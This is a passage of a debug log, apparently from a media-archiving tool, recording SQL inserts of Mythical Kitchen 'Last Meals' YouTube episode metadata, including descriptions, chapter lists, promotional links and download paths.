https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ben Schwartz Eats His Last Meal", "63f9e3cd-988b-480e-a8a6-d44727ac8004", "https://www.youtube.com/watch?v=gn8w1oGCc6o", false, "gn8w1oGCc6o", 2295, false, 3, "/downloads/Last Meals/2023-04-11 Ben Schwartz Eats His Last Meal/Ben Schwartz Eats His Last Meal [gn8w1oGCc6o].mp4", false, false, 1, [], 1, ~U[2023-04-11 10:00:26Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Ben Schwartz's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ben Schwartz Eats His Last Meal", "https://www.youtube.com/watch?v=gn8w1oGCc6o", "gn8w1oGCc6o", 2295, false, "/downloads/Last Meals/2023-04-11 Ben Schwartz Eats His Last Meal/Ben Schwartz Eats His Last Meal [gn8w1oGCc6o].mp4", false, 1, ~U[2023-04-11 10:00:26Z]] 20:49:32.235 [debug] QUERY OK source="sources" db=0.0ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.236 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 11:00:23Z], 1] 20:49:32.236 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Brennan Lee Mulligan eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brennan's Last Meal\n0:19 Casting A Spell On A Horse\n2:36 Have You Thought About Your Last Meal Before?\n3:02 How Often Do You Think About Death?\n5:11 1st Course\n5:29 Dense Food = Good Food\n9:10 Square Slices On Round Pizza Are Wrong\n15:02 Let's Play \"How Do Things Work?\"\n15:58 From Being Bullied to Madison Square Garden\n21:40 2nd Course\n24:40 Parenting & Dragons\n27:23 Not Able To Conform\n30:23 Being A Dungeon Master Is Like Being a Chef\n35:01 3rd Course\n37:08 Brennan Is Not A Classy Guy\n39:46 Pharrell Owes Brennan $50,000\n43:03 Lonely In LA\n45:15 Meeting Izzy Roland ‹3 \n49:49 4th Course\n52:29 Storytelling & Cooking For Others\n54:43 Humor In Language\n58:22 Lessons From Professor Davis\n1:03:15 5th Course\n1:06:05 A Cold Stone Atheist\n1:09:19 Seeing An Angel\n1:12:04 Poetic Truths & Ritual\n1:13:35 What Do You Think Happens When You Die?\n1:15:25 Lightning Round\n1:18:32 Brennan's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brennan Lee Mulligan Eats His Last Meal", "23becb06-37e9-4a9b-9f43-f517dc419be8", "https://www.youtube.com/watch?v=CLVdWyNljP8", false, "CLVdWyNljP8", 4794, false, 4, "/downloads/Last Meals/2025-11-11 Brennan Lee Mulligan Eats His Last Meal/Brennan Lee Mulligan Eats His Last Meal [CLVdWyNljP8].mp4", false, false, 1, [], 1, ~U[2025-11-11 11:00:23Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Brennan Lee Mulligan eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brennan's Last Meal\n0:19 Casting A Spell On A Horse\n2:36 Have You Thought About Your Last Meal Before?\n3:02 How Often Do You Think About Death?\n5:11 1st Course\n5:29 Dense Food = Good Food\n9:10 Square Slices On Round Pizza Are Wrong\n15:02 Let's Play \"How Do Things Work?\"\n15:58 From Being Bullied to Madison Square Garden\n21:40 2nd Course\n24:40 Parenting & Dragons\n27:23 Not Able To Conform\n30:23 Being A Dungeon Master Is Like Being a Chef\n35:01 3rd Course\n37:08 Brennan Is Not A Classy Guy\n39:46 Pharrell Owes Brennan $50,000\n43:03 Lonely In LA\n45:15 Meeting Izzy Roland ‹3 \n49:49 4th Course\n52:29 Storytelling & Cooking For Others\n54:43 Humor In Language\n58:22 Lessons From Professor Davis\n1:03:15 5th Course\n1:06:05 A Cold Stone Atheist\n1:09:19 Seeing An Angel\n1:12:04 Poetic Truths & Ritual\n1:13:35 What Do You Think Happens When You Die?\n1:15:25 Lightning Round\n1:18:32 Brennan's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brennan Lee Mulligan Eats His Last Meal", "https://www.youtube.com/watch?v=CLVdWyNljP8", "CLVdWyNljP8", 4794, false, "/downloads/Last Meals/2025-11-11 Brennan Lee Mulligan Eats His Last Meal/Brennan Lee Mulligan Eats His Last Meal [CLVdWyNljP8].mp4", false, 1, ~U[2025-11-11 11:00:23Z]] 20:49:32.236 [debug] QUERY OK source="sources" db=0.0ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.237 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 11:00:53Z], 1] 20:49:32.237 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ilona Maher eats her last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Ilona's Last Meal\n0:55 Have You Thought About Your Last Meal Before?\n2:18 How Often Do You Think About Death?\n4:00 1st Course\n6:27 A Sport For Every Body Type\n9:54 Staring Down A Haka\n11:22 TikTok & Marketing Women Sports\n14:35 We're GROCERYHEADS\n15:25 2nd Course\n15:52 Inventing Girl Dinner\n19:50 House Of Maher\n24:46 The Female John Cena\n26:55:00 3rd Course\n27:55 Built for Winter AND Sports Illustrated\n31:40 Food As Fuel\n32:43 Being a Rugby Player & Influencer\n38:02 4th Course\n38:57 Not Having Impostor Syndrome\n41:36 Coaching Male vs Female Athletes\n45:46 The Post-Olympic Blues\n50:13:00 Ilona's Legacy\n50:33:00 What Do You Think Happens When You Die?\n51:37:00 Lightning Round\n54:27:00 Ilona's Last Words\n\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ilona Maher Eats Her Last Meal", "9ac107a3-559b-4911-9e11-aa283da8b472", "https://www.youtube.com/watch?v=P62Tjxn9NLg", false, "P62Tjxn9NLg", 3318, false, 5, "/downloads/Last Meals/2025-12-02 Ilona Maher Eats Her Last Meal/Ilona Maher Eats Her Last Meal [P62Tjxn9NLg].mp4", false, false, 1, [], 1, ~U[2025-12-02 11:00:53Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ilona Maher eats her last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Ilona's Last Meal\n0:55 Have You Thought About Your Last Meal Before?\n2:18 How Often Do You Think About Death?\n4:00 1st Course\n6:27 A Sport For Every Body Type\n9:54 Staring Down A Haka\n11:22 TikTok & Marketing Women Sports\n14:35 We're GROCERYHEADS\n15:25 2nd Course\n15:52 Inventing Girl Dinner\n19:50 House Of Maher\n24:46 The Female John Cena\n26:55:00 3rd Course\n27:55 Built for Winter AND Sports Illustrated\n31:40 Food As Fuel\n32:43 Being a Rugby Player & Influencer\n38:02 4th Course\n38:57 Not Having Impostor Syndrome\n41:36 Coaching Male vs Female Athletes\n45:46 The Post-Olympic Blues\n50:13:00 Ilona's Legacy\n50:33:00 What Do You Think Happens When You Die?\n51:37:00 Lightning Round\n54:27:00 Ilona's Last Words\n\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ilona Maher Eats Her Last Meal", "https://www.youtube.com/watch?v=P62Tjxn9NLg", "P62Tjxn9NLg", 3318, false, "/downloads/Last Meals/2025-12-02 Ilona Maher Eats Her Last Meal/Ilona Maher Eats Her Last Meal [P62Tjxn9NLg].mp4", false, 1, ~U[2025-12-02 11:00:53Z]] 20:49:32.238 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.238 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-06 10:00:42Z], 1] 20:49:32.238 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Meghan Trainor's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Meghan's Last Meal\n0:28 \"Are You Spy Kids?\"\n1:15 Wanting To Be Timeless\n3:08 1st Course\n5:02 The Problem With Parties\n6:05 Poop Shame\n8:37 Music As Self-Therapy\n9:55 Meghan's Fear Of Death\n13:48 2nd Course\n16:47 Marrying A Serial Killer\n18:53 Parenting & Mom Guilt\n22:08 3rd Course\n23:42 Learning She Was Pregnant While Performing\n29:14 Explaining A Tour Bus To A 3-Year Old\n31:23 4th Course\n32:42 What Josh Thinks Happens When We Die\n33:50 Edibles & Death Anxiety\n35:00 Meghan Wants To See (& Be) A Ghost\n36:14 Fear & Love\n37:45 Lightning Round\n40:18 Meghan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Meghan Trainor Eats Her Last Meal", "ef6e9cad-c5a6-4dbd-86f9-b44dcd512d7c", "https://www.youtube.com/watch?v=ho4OgD1tPZY", false, "ho4OgD1tPZY", 2478, false, 6, "/downloads/Last Meals/2024-06-06 Meghan Trainor Eats Her Last Meal/Meghan Trainor Eats Her Last Meal [ho4OgD1tPZY].mp4", false, false, 1, [], 1, ~U[2024-06-06 10:00:42Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Meghan Trainor's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Meghan's Last Meal\n0:28 \"Are You Spy Kids?\"\n1:15 Wanting To Be Timeless\n3:08 1st Course\n5:02 The Problem With Parties\n6:05 Poop Shame\n8:37 Music As Self-Therapy\n9:55 Meghan's Fear Of Death\n13:48 2nd Course\n16:47 Marrying A Serial Killer\n18:53 Parenting & Mom Guilt\n22:08 3rd Course\n23:42 Learning She Was Pregnant While Performing\n29:14 Explaining A Tour Bus To A 3-Year Old\n31:23 4th Course\n32:42 What Josh Thinks Happens When We Die\n33:50 Edibles & Death Anxiety\n35:00 Meghan Wants To See (& Be) A Ghost\n36:14 Fear & Love\n37:45 Lightning Round\n40:18 Meghan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Meghan Trainor Eats Her Last Meal", "https://www.youtube.com/watch?v=ho4OgD1tPZY", "ho4OgD1tPZY", 2478, false, "/downloads/Last Meals/2024-06-06 Meghan Trainor Eats Her Last Meal/Meghan Trainor Eats Her Last Meal [ho4OgD1tPZY].mp4", false, 1, ~U[2024-06-06 10:00:42Z]] 20:49:32.239 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.239 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-02 10:00:29Z], 1] 20:49:32.240 [debug] QUERY OK source="media_items" db=0.6ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Josh Peck's last meal. Last Meals Ep.5\n\nSubscribe to Mythical Kitchen: 